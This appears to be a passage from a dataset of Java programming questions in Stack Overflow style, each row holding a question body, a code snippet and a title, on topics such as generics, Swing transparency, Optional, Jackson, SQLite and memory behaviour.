Nullable org.apache.lucene.search.Query cached_results ; // ... } scoping construct can not be annotated with type-use annotation : @ checkers.nullness.quals.Nullable,Java scoping construct can not be annotated with type-use +Java,"I 've heavily simplified my problem . Here 's how it reads.I 'm trying to figure out why the following code does not compile : whereThe compiler error is saying that add is not applicable for the argument given . OTOH , the following code with only 1-level nested wildcard compiles perfectly :",List < AnonType < AnonType < ? > > > l = new ArrayList < AnonType < AnonType < ? > > > ( ) ; l.add ( new AnonType < AnonType < String > > ( ) ) ; public class AnonType < T > { T a ; List < T > b ; } List < AnonType < ? > > l = new ArrayList < AnonType < ? > > ( ) ; l.add ( new AnonType < String > ( ) ) ;,multiple nested wildcard - arguments not applicable +Java,"Yes , this question is everywhere . But all of the ( working ) solutions use the AWTUtilities toolkit , which is restricted . So . I just want to control the opacity of my window . No need to shape or undecorate . Just a transparent contentPane ( easy ) , and a transparent JFrame background ( ridiculously difficult ) .I could have sworn I got the right combination of stuff yesterday , but now I ca n't seem to reproduce it . Also there are some solutions out there without using AWTUtilities , but they do n't work ... does someone have a good solution ? An example of my failing code : but this just makes a white square . Close but no cigar . I 've also tried overriding the paint method , and someone was saying something about throwing out the alpha channel , but that made it black ( of course ) . So ... Stack Overflow it is.If there 's a dupe that answers this exactly , please point me to it and I 'll delete right away.UpdatePer requests in comments , here 's a history of how I arrived here : The first link everyone arrives at is how to create translucent and shaped windows . This has several lines in there similar to `` ... the frame translucent with a 75 % level of opacity . '' So ... looks like they 're defined the same , at least in that article . Unfortunately they use the library.A couple links that I could chase down : A non-working `` working '' solution is reported at http : //www.java-gaming.org/index.php ? topic=24635.0 which shows some hope but I could n't get it working . http : //techgearup.wordpress.com/2008/09/19/transparent-jframe-background/ is a hackish way using screenshots and is duplicated in a few other places .","public static void main ( String [ ] args ) { JFrame test = new JFrame ( ) ; test.setSize ( 400 , 400 ) ; test.setLocationRelativeTo ( null ) ; test.setUndecorated ( true ) ; test.setBackground ( new Color ( 0 , 0 , 0 , 0 ) ) ; test.getContentPane ( ) .setBackground ( new Color ( 0,0,0,0 ) ) ; test.setVisible ( true ) ; }","Java - the ol ' transparent JFrame , without restricted libs" +Java,I have the following bit of simplified code that fails to compile and I do n't understand why : The compiler tells me : I admit I 'm not used to Java but I have to for a project . I mocked this in Scala where list.flatten and the equivalent list.flatMap ( i = > i ) work just as expected : Is Java 's flatMap different ?,"List < Optional < Integer > > list = new ArrayList < > ( ) ; List < Integer > flattened = list .stream ( ) .flatMap ( i - > i ) .collect ( Collectors.toList ( ) ) ; [ ERROR ] ... incompatible types : can not infer type-variable ( s ) R [ ERROR ] ( argument mismatch ; bad return type in lambda expression [ ERROR ] Optional < Integer > can not be converted to Stream < ? extends R > ) [ ERROR ] where R , T are type-variables : [ ERROR ] R extends Object declared in method < R > flatMap ( Function < ? super T , ? extends Stream < ? extends R > > ) [ ERROR ] T extends Object declared in interface Stream val list = List ( Some ( 1 ) , Some ( 2 ) , None ) list.flatten // List ( 1 , 2 )",Java 's flatMap on list of list of optional integers +Java,"I 'm using this code to validate a XML against a XSD : But when the XML is not valid , the message is always something like this : Is there a way to return a user friendly message in my language , without having to translate the message programatically ? UPDATEThis is piece of code in the XSD for the field in which the message occured : As you can see it even has a description to return the `` name '' of the field ( Logradouro ) but the schema validator seems not to recognize it .",SchemaFactory factory = SchemaFactory.newInstance ( `` http : //www.w3.org/2001/XMLSchema '' ) ; Schema schema = factory.newSchema ( xmlSchema ) ; Validator validator = schema.newValidator ( ) ; Source source = new StreamSource ( myXmlFile ) ; try { validator.validate ( source ) ; return null ; } catch ( SAXException ex ) { String validationMessage = ex.getMessage ( ) ; return validationMessage ; } cvc-minLength-valid : Value '- ' with length = ' 1 ' is not facet-valid with respect to minLength ' 2 ' for type ' # AnonType_xLgrTEndereco ' . < xs : element name= '' xLgr '' > < xs : annotation > < xs : documentation > Logradouro < /xs : documentation > < /xs : annotation > < xs : simpleType > < xs : restriction base= '' TString '' > < xs : maxLength value= '' 60 '' / > < xs : minLength value= '' 2 '' / > < /xs : restriction > < /xs : simpleType > < /xs : element >,How to get internalization with validation messages of SAX XML Schema Validator ? +Java,"I am using Java 's Rectangle class in a program.I have two Rectangle objects : The specific sizes of the rectangles are not important . However , big will always be larger than small ( in both width and height ) .Usually , small is entirely contained within big . I can use Rectangle # contains to verify this . However , when this is not the case , I would like to move small to be entirely contained within big . The dimensions of neither rectangle should change.For example : I know could use four conditionals with Math.max and Math.min , but is there a more elegant way of doing this ?",Rectangle big = new Rectangle ( ... ) ; Rectangle small = new Rectangle ( ... ) ;,Constrain Rectangle within Rectangle +Java,"Java 7 introduced the Objects class containing “ null-safe or null-tolerant ” methods , including compare ( T , T , Comparator < T > ) . But when would I ever useover simply calling ? Objects.compare is only null-safe if comparator is as well , so why would I wrap the compare-call ? The optimization of first checking for object identity seems like something that should be done in the comparator itself . And the only real difference in behavior I can see is that comparator.compare ( left , right ) throws a NullPointerException if all of comparator , left and right are null , while Objects.compare does not ; this does not really seem like an important enough consideration to warrant a new standard library method.Am I missing something obvious here ?","Objects.compare ( left , right , comparator ) ; comparator.compare ( left , right ) ;",What is the purpose of the Objects.compare ( ) method ? +Java,"Lets say I have a method : Where X is a type of object that is extremely complex . By this I mean it is not something one can easily instantiate on the fly . I need to somehow unit test someMethod , but I can not so simply create an X object to put in as parameters . So I first think to try and mock the object , but the problem I run in to is the someMethod function calls many methods of anObject , meaning this X object that is being mocked has a latge amount of functions that need to be called , and thus need to be mock-expected . To make things worse , these X object methods being called return more X objects , meaning I have to mock objects , to expect mock method calls , to return more mock objects . Regarding this scenario I have a few questions , as I 'm new to the concept of unit testing : The lengthy unit test method aside , I find my unit test to not only be testing as to whether a method works or not , but also specifying the implementation ( because I 'm basically specifying most of the code that is being called in the method itself with the mock-expects ) . Is this a problem ( mostly to the concept of unit testing itself ) ? Is there any way to get around this , even if only to make my unit test methods be a lot less verbose and more maintainable ? I thought about taking a serialized X object from somewhere else , saving that , and then whenever I call my unit test method , I would unserialize my X object and run that as parameters . This is just some random idea I thought of the top of my head ; does anyone actually do this ? In case anyone is wondering what exactly I 'm doing , I 'm using the IDebugContextListener interface to grab debugging information regarding data on a stackframe at a given step on the java debugger . The `` X '' that I am referring to are objects that are defined by the interface here , including objects such as IValue , IVariable , and IStackframe . All these variables are provided to me by the Java debugger during runtime .",someMethod ( X anObject ),Unit Testing with Complicated Parameters +Java,I am trying to debug a problem in some legacy code.I have narrowed the problem to the following method : DebuggingLine 2 the cal parameter is a future date . ( 2015-01-06T00:00:00.000Z ) After execution of line 3 with the first cal.get ( the cal param 's values have changed ( to 2014-12-12T00:00:00.000Z ) Why/how could this be ? Here is where the calendar is being created : response.getStartDate ( ) returns an XMLGregorianCalendar,"public String formatDateTimeFromCalendar ( Calendar cal ) { StringBuffer sb = new StringBuffer ( ) ; String hr = `` '' +cal.get ( Calendar.HOUR_OF_DAY ) ; sb.append ( String.format ( `` % 02d '' , hr ) ) ; sb.append ( `` : '' ) ; sb.append ( String.format ( `` % 02d '' , cal.get ( Calendar.MINUTE ) ) ) ; sb.append ( `` on `` ) ; sb.append ( String.format ( `` % 02d '' , cal.get ( Calendar.DAY_OF_MONTH ) ) ) ; sb.append ( `` / '' ) ; sb.append ( String.format ( `` % 02d '' , cal.get ( Calendar.MONTH ) +1 ) ) ; sb.append ( `` / '' ) ; sb.append ( cal.get ( Calendar.YEAR ) ) ; return sb.toString ( ) ; } Calendar startDateAndTime = Calendar.getInstance ( ) ; startDateAndTime.setTime ( response.getStartDate ( ) .toGregorianCalendar ( ) .getTime ( ) ) ; startDateAndTime.set ( Calendar.HOUR_OF_DAY , response.getStartTime ( ) .getHour ( ) ) ; startDateAndTime.set ( Calendar.MINUTE , response.getStartTime ( ) .getMinute ( ) ) ; startDateAndTime.set ( Calendar.SECOND , response.getStartTime ( ) .getSecond ( ) ) ; startDateAndTime.set ( Calendar.MILLISECOND , response.getStartTime ( ) .getMillisecond ( ) ) ;",Why do java.util.calendar object 's values change after a call to get ( int ) +Java,"I do n't understand a couple of things with lambda.Why is the f.apply method still working if s = null . After all , the String object should be deleted by the GC because there is no pointer that points to the object.One more thing , why do n't I need a return statement here ?","String s = `` Hello World '' ; Function < Integer , String > f = s : :substring ; s = null ; System.out.println ( f.apply ( 5 ) ) ; Function < Integer , String > f = t - > t + `` '' ;",Function pointer to String method in Java +Java,"I 'm looking for a way to map a tab separated String to an array . Currently , I 'm doing it with a lambda expression : Is there a way to do it with a method reference ? I know that stream.map ( String : :split ( `` \t '' ) ) does not work , but am wondering if there is an alternative .",stream.map ( line - > line.split ( `` \t '' ) ) ;,Method reference with argument +Java,"I have got the below findProductBetweenPriceRange ( ) method which throws BadRequestException as shown below : BadRequestException class : The above code works fine , but , I just wanted to refactor the orElseThrow ( ) block to a different method as shown below.I tried creating throwBadRequestException ( ) method which throws BadRequestException & I am calling it from orElseThrow ( ) , but I am facing an error like `` no instance of type variable exists so that void conforms '' .I clearly know that BadRequestException is an unchecked exception so the compiler is not able to find that the method throws the required exception . Just to double check , I also tried to add the BadRequestException using throws clause to the method signature to hint the compiler , but no luck.So , the question is that is there any way that I can refactor orElse block nicely to a separate method and throw the RuntimeException ( i.e. , BadRequestException ) ?","public Product findProductBetweenPriceRange ( int price1 , int price2 ) { Optional < Product > product = productService.findProductBetween ( price1 , price2 ) ; return product.orElseThrow ( ( ) - > { String debugInfo = `` price1= '' +price1+ '' ; price2= '' +price2 ; throw new BadRequestException ( `` No Product found for price range '' , debugInfo ) ; } ) ; } public final class BadRequestException extends RuntimeException { public BadRequestException ( String errorMessage , String debugInfo ) { this.errorMessage = errorMessage ; this.debugInfo = debugInfo ; } //fields & getters } public Product findProductBetweenPriceRange ( int price1 , int price2 ) { Optional < Product > product = productService.findProductBetween ( price1 , price2 ) ; return product.orElseThrow ( ( ) - > throwBadRequestException ( price1 , price2 ) ) ; } private void throwBadRequestException ( int price1 , int price2 ) { String debugInfo = `` price1= '' +price1+ '' ; price2= '' +price2 ; throw new BadRequestException ( `` No Product found for price range '' , debugInfo ) ; }",Refactor orElseThrow block to return RuntimeException +Java,"Hi I have some code that uses blockbut the specific of the application is that I have to generate large number of temporary files , more then 4000 in average ( used for Hive inserts to the partitioned table ) . The problem is that sometimes I catch exception during the app running.I wounder if there any way to tell OS that file is closed already and not used anymore , why the does not reduce the number of opened files . Is there any way to do this in Java code ? I have already increased max number of opened files in Update : I tried to eliminate the problem , so I parted the code to investigate each part of it ( create files , upload to hive , delete files ) .Using class 'File ' or 'RandomAccessFile ' fails with the exception `` Too many open files '' .Finally I used the code : And this works with large amounts of files ( tested on 20K with 5KB size each ) . The code itself does not throw exception as previous two classes.But production code ( with hive ) still had the exception . And it appears that the hive connection through the JDBC is the reason of it . I will investigate further .","RandomAccessFile file = new RandomAccessFile ( `` some file '' , `` rw '' ) ; FileChannel channel = file.getChannel ( ) ; // some codeString line = `` some data '' ; ByteBuffer buf = ByteBuffer.wrap ( line.getBytes ( ) ) ; channel.write ( buf ) ; channel.close ( ) ; file.close ( ) ; Failed with exception Too many open files channel.close ( ) ; file.close ( ) ; # /etc/sysctl.conf : kern.maxfiles=204800kern.maxfilesperproc=200000kern.ipc.somaxconn=8096 FileOutputStream s = null ; FileChannel c = null ; try { s = new FileOutputStream ( filePath ) ; c = s.getChannel ( ) ; // do writes c.write ( `` some data '' ) ; c.force ( true ) ; s.getFD ( ) .sync ( ) ; } catch ( IOException e ) { // handle exception } finally { if ( c ! = null ) c.close ( ) ; if ( s ! = null ) s.close ( ) ; }",reduce number of opened files in java code +Java,"I have 3 fragments inside an app and in one of them I display users name from the SQLite database . What happens is when I register a new user and login first time with it , inside the textview where the users name suppose to appear , it displays NULL value , but when I logout and login again with the same user , name appears as it should.After registering user , all the data is inserted inside a database , I have checked . Any ideas what can cause this problem ? I will add some code on request as I have no idea which part of the code , fragments or java files might cause this..EDITEDI have added some code to help resolve this issue.Login function inside the main screen ( once app launches ) : onViewCreated func inside fragment where users name should be diplayed : Register function part :","private void checkLogin ( final String email , final String password ) { // Tag used to cancel the request String tag_string_req = `` req_login '' ; pDialog.setMessage ( `` Logging in ... '' ) ; showDialog ( ) ; StringRequest strReq = new StringRequest ( Request.Method.POST , AppConfig.URL_LOGIN , new Response.Listener < String > ( ) { @ Override public void onResponse ( String response ) { Log.d ( TAG , `` Login Response : `` + response.toString ( ) ) ; hideDialog ( ) ; try { JSONObject jObj = new JSONObject ( response ) ; boolean error = jObj.getBoolean ( `` error '' ) ; // Check for error node in json if ( ! error ) { // user successfully logged in // Create login session session.setLogin ( true ) ; // Now store the user in SQLite String uid = jObj.getString ( `` uid '' ) ; JSONObject user = jObj.getJSONObject ( `` user '' ) ; String name = user.getString ( `` name '' ) ; String email = user.getString ( `` email '' ) ; String created_at = user.getString ( `` created_at '' ) ; // Inserting row in users table db.addUser ( name , email , uid , created_at ) ; // Launch main activity Intent intent = new Intent ( Main.this , Logged.class ) ; startActivity ( intent ) ; finish ( ) ; } else { error_msg.setVisibility ( View.VISIBLE ) ; String msg = jObj.getString ( `` error_msg '' ) ; error_msg.setText ( msg ) ; } } catch ( JSONException e ) { // JSON error e.printStackTrace ( ) ; Toast.makeText ( getApplicationContext ( ) , `` Json error : `` + e.getMessage ( ) , Toast.LENGTH_LONG ) .show ( ) ; } } } , new Response.ErrorListener ( ) { @ Override public void onErrorResponse ( VolleyError error ) { Log.e ( TAG , `` Login Error : `` + error.getMessage ( ) ) ; Toast.makeText ( getApplicationContext ( ) , error.getMessage ( ) , Toast.LENGTH_LONG ) .show ( ) ; hideDialog ( ) ; } } ) { @ Override protected Map < String , String > getParams ( ) { // Posting parameters to login url Map < String , String > params = new HashMap < String , String > ( ) ; params.put ( `` email '' , email ) ; params.put ( `` password '' , password ) ; return params ; } } ; // Adding request to request queue AppController.getInstance ( ) .addToRequestQueue ( strReq , tag_string_req ) ; } @ Overridepublic void onViewCreated ( View view , Bundle savedInstanceState ) { profileName = ( TextView ) getActivity ( ) .findViewById ( R.id.profileName ) ; // SqLite database handler db = new SQLiteHandler ( getActivity ( ) .getApplicationContext ( ) ) ; // session manager session = new SessionManager ( getActivity ( ) .getApplicationContext ( ) ) ; if ( ! session.isLoggedIn ( ) ) { logoutUser ( ) ; } // Fetching user details from SQLite HashMap < String , String > user = db.getUserDetails ( ) ; String name = user.get ( `` name '' ) ; // Displaying the user details on the screen profileName.setText ( name ) ; } public void onResponse ( String response ) { Log.d ( TAG , `` Register Response : `` + response.toString ( ) ) ; hideDialog ( ) ; try { JSONObject jObj = new JSONObject ( response ) ; boolean error = jObj.getBoolean ( `` error '' ) ; if ( ! error ) { // User successfully stored in MySQL // Now store the user in sqlite String uid = jObj.getString ( `` uid '' ) ; JSONObject user = jObj.getJSONObject ( `` user '' ) ; String name = user.getString ( `` name '' ) ; String email = user.getString ( `` email '' ) ; String created_at = user.getString ( `` created_at '' ) ; // Inserting row in users table db.addUser ( name , email , uid , created_at ) ; // Launch login activity Intent intent = new Intent ( Register.this , Main.class ) ; startActivity ( intent ) ; finish ( ) ; } else { // Error occurred in registration . Get the error // message error_msg.setVisibility ( View.VISIBLE ) ; String msg = jObj.getString ( `` error_msg '' ) ; error_msg.setText ( msg ) ; } } catch ( JSONException e ) { e.printStackTrace ( ) ; } } } , new Response.ErrorListener ( ) { @ Override public void onErrorResponse ( VolleyError error ) { Log.e ( TAG , `` Registration Error : `` + error.getMessage ( ) ) ; Toast.makeText ( getApplicationContext ( ) , error.getMessage ( ) , Toast.LENGTH_LONG ) .show ( ) ; hideDialog ( ) ; } } ) {",Displaying null values after first users login inside android +Java,Getting this error when I use SQLiteDatabase as a CloseableI 've got a sample project to recreate it : https : //github.com/blundell/SQLDatabaseErrorWith a class that extends SQLiteOpenHelper : Stack trace : API : http : //developer.android.com/reference/android/database/sqlite/SQLiteDatabase.html http : //developer.android.com/reference/android/database/sqlite/SQLiteClosable.html http : //developer.android.com/reference/java/io/Closeable.htmlThis should work should n't it ? Does n't work : Xperia Play Android 2.3.4Motorola Xoom Android 4.0.4Does work : Samsung Galaxy Nexus Android 4.2,"public class DatabaseHelper extends SQLiteOpenHelper { ... .public void openAndCloseDatabase ( ) { SQLiteDatabase database = getWritableDatabase ( ) ; close ( database ) ; } private void close ( Closeable database ) { try { if ( database ! = null ) { database.close ( ) ; } } catch ( Exception e ) { Log.e ( `` Error '' , `` Oh no ! `` , e ) ; } } } 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : FATAL EXCEPTION : main12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : java.lang.IncompatibleClassChangeError : interface not implemented12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at com.blundell.sqldatabasecursorerror.DatabaseHelper.close ( DatabaseHelper.java:35 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at com.blundell.sqldatabasecursorerror.DatabaseHelper.openAndCloseDatabase ( DatabaseHelper.java:29 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at com.blundell.sqldatabasecursorerror.MainActivity.onCreate ( MainActivity.java:13 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1047 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:1623 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:1675 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.app.ActivityThread.access $ 1500 ( ActivityThread.java:121 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:943 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.os.Handler.dispatchMessage ( Handler.java:99 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.os.Looper.loop ( Looper.java:130 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at android.app.ActivityThread.main ( ActivityThread.java:3701 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at java.lang.reflect.Method.invokeNative ( Native Method ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at java.lang.reflect.Method.invoke ( Method.java:507 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:866 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:624 ) 12-14 12:23:43.719 : E/AndroidRuntime ( 5179 ) : at dalvik.system.NativeStart.main ( Native Method ) public final class SQLiteDatabase extends SQLiteClosable > > public abstract class SQLiteClosable extends Object implements Closeable > > public interface Closeable",SQLiteDatabase 'does not implement interface ' +Java,"I 've searched a lot and only find questions about polymorphic deserialization on the content inside a map . Is it possible to polymorphic deserializing the map itself ? For example , I have a Book class contains a Map as a member variable.Another class have a list of Book class.And a test class . One book 's review map is a Hashtable and another book 's review map is a HashMap.The test outputThe serialization works fine . But after deserialization , both review1 and review2 are LinkedHashMap . I want review1 and review2 to be their actual types which are Hashtable to review1 and HashMap to review2 . Is there any way to achieve this ? I do n't want to use mapper.enableDefaultTyping ( ObjectMapper.DefaultTyping.NON_FINAL ) ; because it will add the type info for all json properties in the json message . And if there is any better way to do it I do n't want to use customized deserializer either . Thanks in advance .","public class Book { @ JsonProperty private Map < String , Object > reviews ; @ JsonCreator public Book ( Map < String , Object > map ) { this.reviews = map ; } } public class Shelf { @ JsonProperty private List < Book > books = new LinkedList < > ( ) ; public void setBooks ( List < Book > books ) { this.books = books ; } public List < Book > getBooks ( ) { return this.books ; } } public class Test { private Shelf shelf ; @ BeforeClass public void init ( ) { Map < String , Object > review1 = new Hashtable < > ( ) ; // Hashtable here review1.put ( `` test1 '' , `` review1 '' ) ; Map < String , Object > review2 = new HashMap < > ( ) ; // HashMap here review2.put ( `` test2 '' , `` review2 '' ) ; List < Book > books = new LinkedList < > ( ) ; books.add ( new Book ( review1 ) ) ; books.add ( new Book ( review2 ) ) ; shelf = new Shelf ( ) ; shelf.setBooks ( books ) ; } @ Test public void test ( ) throws IOException { ObjectMapper mapper = new ObjectMapper ( ) ; mapper.configure ( SerializationFeature.INDENT_OUTPUT , true ) ; // mapper.enableDefaultTyping ( ObjectMapper.DefaultTyping.NON_FINAL ) ; String json = mapper.writeValueAsString ( shelf ) ; System.out.println ( json ) ; Shelf sh = mapper.readValue ( json , Shelf.class ) ; for ( Book b : sh.getBooks ( ) ) { System.out.println ( b.getReviews ( ) .getClass ( ) ) ; } } } { `` name '' : `` TestShelf '' , `` books '' : [ { `` reviews '' : { `` test1 '' : `` review1 '' } } , { `` reviews '' : { `` test2 '' : `` review2 '' } } ] } class java.util.LinkedHashMapclass java.util.LinkedHashMap",Is it possible to de/serialize map itself polymorphic in jackson ? +Java,"I need to build a solution for financial data analysis comprised of : It mainly needs to present forms to different users , collect structured ( form ) data over different workflows , report do different users etc.I 'm investigating Alfresco as a base platform.It already has the Alfresco repository for storage with built in ACL and Workflows , and also there is the forms module.The recent data lists feature seems a good fit , maybe complemented by the WCM.I am wary as the data list feature is pretty young ( and incomplete here there ) . How does the Alfresco Repository scale against the reporting needs ( intense reads , grouping , computing averages & c ) ? Has anyone tried to take alfresco on this path ( forms/data/reports platform ) , is it a good fit , any hurdles on the road , alternative ideas ( build your own , use this other solution ) ?",* storage * forms * ACL* workflows * reports * custom logic,Alfresco for financial data ( forms and data lists ) +Java,"I 'm having some problems with multiplying a Polynomial by a constant ( double ) . It works when theres only one coefficient but when more then one is there , it gives a ArrayIndexOutOfBounds error and points to the setCoefficient method . Any help ? Thanks","public class Poly { private float [ ] coefficients ; public Poly ( ) { coefficients = new float [ 1 ] ; coefficients [ 0 ] = 0 ; } public Poly ( int degree ) { coefficients = new float [ degree+1 ] ; for ( int i = 0 ; i < = degree ; i++ ) coefficients [ i ] = 0 ; } public Poly ( float [ ] a ) { coefficients = new float [ a.length ] ; for ( int i = 0 ; i < a.length ; i++ ) coefficients [ i ] = a [ i ] ; } public int getDegree ( ) { return coefficients.length-1 ; } public float getCoefficient ( int i ) { return coefficients [ i ] ; } public void setCoefficient ( int i , float value ) { coefficients [ i ] = value ; } public Poly add ( Poly p ) { int n = getDegree ( ) ; int m = p.getDegree ( ) ; Poly result = new Poly ( Poly.max ( n , m ) ) ; int i ; for ( i = 0 ; i < = Poly.min ( n , m ) ; i++ ) result.setCoefficient ( i , coefficients [ i ] + p.getCoefficient ( i ) ) ; if ( i < = n ) { //we have to copy the remaining coefficients from this object for ( ; i < = n ; i++ ) result.setCoefficient ( i , coefficients [ i ] ) ; } else { // we have to copy the remaining coefficients from p for ( ; i < = m ; i++ ) result.setCoefficient ( i , p.getCoefficient ( i ) ) ; } return result ; } public void displayPoly ( ) { for ( int i=0 ; i < coefficients.length ; i++ ) System.out.print ( `` `` +coefficients [ i ] ) ; System.out.println ( ) ; } private static int max ( int n , int m ) { if ( n > m ) return n ; return m ; } private static int min ( int n , int m ) { if ( n > m ) return m ; return n ; } public Poly multiplyCon ( double c ) { int n = getDegree ( ) ; Poly results = new Poly ( ) ; // can work when multiplying only 1 coefficient for ( int i =0 ; i < = coefficients.length-1 ; i++ ) { // errors ArrayIndexOutOfBounds for setCoefficient results.setCoefficient ( i , ( float ) ( coefficients [ i ] * c ) ) ; } return results ; } }",Multiplying polynomial by constant in Java +Java,"I have been learning JAVA and i have a small doubt about the code : I have written small program to handle exception , if user input is not Int throw an exception and assign default value.If i put scanner statement inside for loop , it works fine , but if i take it outside its assign the same value at which exception was thrown i.e i am entering char rather than int.But if i enter all integers it assign correct values in array.I hope u guys have understood my question .",class apple { public static void main ( String [ ] args ) { int [ ] num = new int [ 3 ] ; Scanner input = new Scanner ( System.in ) ; for ( int i = 0 ; i < num.length ; i++ ) { try { num [ i ] = input.nextInt ( ) ; } catch ( Exception e ) { System.out .println ( `` Invalid number..assigning default value 20 '' ) ; num [ i ] = 20 ; } } for ( int i = 0 ; i < num.length ; i++ ) { System.out.println ( num [ i ] ) ; } } } Scanner input = new Scanner ( System.in ) ;,Why does Scanner # nextInt inside for loop keep throwing an exception ? +Java,"I have a simple example . The example loads an ArrayList < Integer > from a file f containing 10000000 random integers.When I have l = null , I get this log : But when I remove it , I get this log instead.Used Memory is calculated by : runTime.totalMemory ( ) - runTime.freeMemory ( ) Question : In case where l = null ; is present , is there a memory leak ? l is inaccessible , so why ca n't it be freed ?",doLog ( `` Test 2 '' ) ; { FileInputStream fis = new FileInputStream ( f ) ; ObjectInputStream ois = new ObjectInputStream ( fis ) ; List < Integer > l = ( List < Integer > ) ois.readObject ( ) ; ois.close ( ) ; fis.close ( ) ; doLog ( `` Test 2.1 '' ) ; //l = null ; doLog ( `` Test 2.2 '' ) ; } doLog ( `` Test 2.3 '' ) ; System.gc ( ) ; doLog ( `` Test 2.4 '' ) ; Test 2 Used Mem = 492 KB Total Mem = 123 MBTest 2.1 Used Mem = 44 MB Total Mem = 123 MBTest 2.2 Used Mem = 44 MB Total Mem = 123 MBTest 2.3 Used Mem = 44 MB Total Mem = 123 MBTest 2.4 Used Mem = 493 KB Total Mem = 123 MB Test 2 Used Mem = 492 KB Total Mem = 123 MBTest 2.1 Used Mem = 44 MB Total Mem = 123 MBTest 2.2 Used Mem = 44 MB Total Mem = 123 MBTest 2.3 Used Mem = 44 MB Total Mem = 123 MBTest 2.4 Used Mem = 44 MB Total Mem = 123 MB,Does this Java example cause a memory leak ? +Java,"So in the output of +LogCompilation there are messages printedand associated with specific methods ( and the decision by the compiler not to inline ) .But is n't the `` callee '' the method itself ? What else could it mean ? And if so , what 's the difference between `` callee too large '' and `` too big '' - would n't they mean the same thing ( maybe it 's just a legacy log message , 2 engineers using different language for the same thing ? ) Or is it possible that `` callee '' really means `` caller '' ? Either reason would be legitimate for not inlining.I 'm a bit embarrassed that I do n't understand this .",callee is too large too big,Meaning of `` callee is too large '' in jvm +LogCompilation output +Java,I 'm writing an xml using XMLStreamWriter . But I do not need the prolog.How can I omit this line in my output xml .,< ? xml version= '' 1.0 '' ? >,XMLStreamWriter remove prolog +Java,"This is a tough one . A customer has sent me , via a crash report , this stack trace . It has no mention of my app 's classes , so I 'm perplexed as to where to start looking.My app is a commercial desktop app . Crash reports are anonymous , so I ca n't easily obtain more information about the crash.EDIT : Some Googling and thread-following makes me conclude that it is a sporadic problem in Java 1.7 . Looking for a solution ... How can I proceed in debugging this ?",java.lang.IllegalArgumentException : Comparison method violates its general contract ! at java.util.TimSort.mergeHi ( TimSort.java:868 ) at java.util.TimSort.mergeAt ( TimSort.java:485 ) at java.util.TimSort.mergeCollapse ( TimSort.java:410 ) at java.util.TimSort.sort ( TimSort.java:214 ) at java.util.TimSort.sort ( TimSort.java:173 ) at java.util.Arrays.sort ( Arrays.java:659 ) at java.util.Collections.sort ( Collections.java:217 ) at javax.swing.SortingFocusTraversalPolicy.enumerateAndSortCycle ( SortingFocusTraversalPolicy.java:136 ) at javax.swing.SortingFocusTraversalPolicy.getFocusTraversalCycle ( SortingFocusTraversalPolicy.java:110 ) at javax.swing.SortingFocusTraversalPolicy.getFirstComponent ( SortingFocusTraversalPolicy.java:435 ) at javax.swing.LayoutFocusTraversalPolicy.getFirstComponent ( LayoutFocusTraversalPolicy.java:166 ) at javax.swing.DefaultFocusManager.getFirstComponent ( DefaultFocusManager.java:120 ) at javax.swing.LegacyGlueFocusTraversalPolicy.getFirstComponent ( LegacyGlueFocusTraversalPolicy.java:132 ) at javax.swing.LegacyGlueFocusTraversalPolicy.getDefaultComponent ( LegacyGlueFocusTraversalPolicy.java:150 ) at java.awt.FocusTraversalPolicy.getInitialComponent ( FocusTraversalPolicy.java:169 ) at java.awt.DefaultKeyboardFocusManager.dispatchEvent ( DefaultKeyboardFocusManager.java:380 ) at java.awt.Component.dispatchEventImpl ( Component.java:4731 ) at java.awt.Container.dispatchEventImpl ( Container.java:2287 ) at java.awt.Window.dispatchEventImpl ( Window.java:2719 ) at java.awt.Component.dispatchEvent ( Component.java:4687 ) at java.awt.EventQueue.dispatchEventImpl ( EventQueue.java:723 ) at java.awt.EventQueue.access $ 200 ( EventQueue.java:103 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:682 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:680 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:76 ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:87 ) at java.awt.EventQueue $ 4.run ( EventQueue.java:696 ) at java.awt.EventQueue $ 4.run ( EventQueue.java:694 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:76 ) at java.awt.EventQueue.dispatchEvent ( EventQueue.java:693 ) at java.awt.EventDispatchThread.pumpOneEventForFilters ( EventDispatchThread.java:242 ) at java.awt.EventDispatchThread.pumpEventsForFilter ( EventDispatchThread.java:161 ) at java.awt.EventDispatchThread.pumpEventsForHierarchy ( EventDispatchThread.java:150 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:146 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:138 ) at java.awt.EventDispatchThread.run ( EventDispatchThread.java:91 ),How to debug in Java with this stack trace which makes no mention of my own classes ? +Java,"What is a better way to design an API on a @ Controller method when request parameters are mutually exclusive ? Let 's say that there is an API to provide a List of Users that matches the request parameters.Code is : 